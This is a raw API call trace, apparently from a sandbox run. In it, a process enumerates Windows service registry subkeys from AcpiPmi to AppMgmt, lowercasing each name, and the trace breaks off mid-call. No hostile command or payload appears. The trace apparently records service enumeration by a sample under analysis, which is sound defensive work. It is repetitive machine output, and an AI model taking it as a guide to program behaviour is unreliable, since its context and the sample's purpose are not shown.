[0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.054] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0248.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.055] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.055] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.055] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0248.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.055] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.056] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.056] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.056] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.057] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.057] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.057] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.057] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0248.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.058] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.058] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.058] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0248.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.059] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.059] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.059] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.059] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0248.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.060] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.060] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 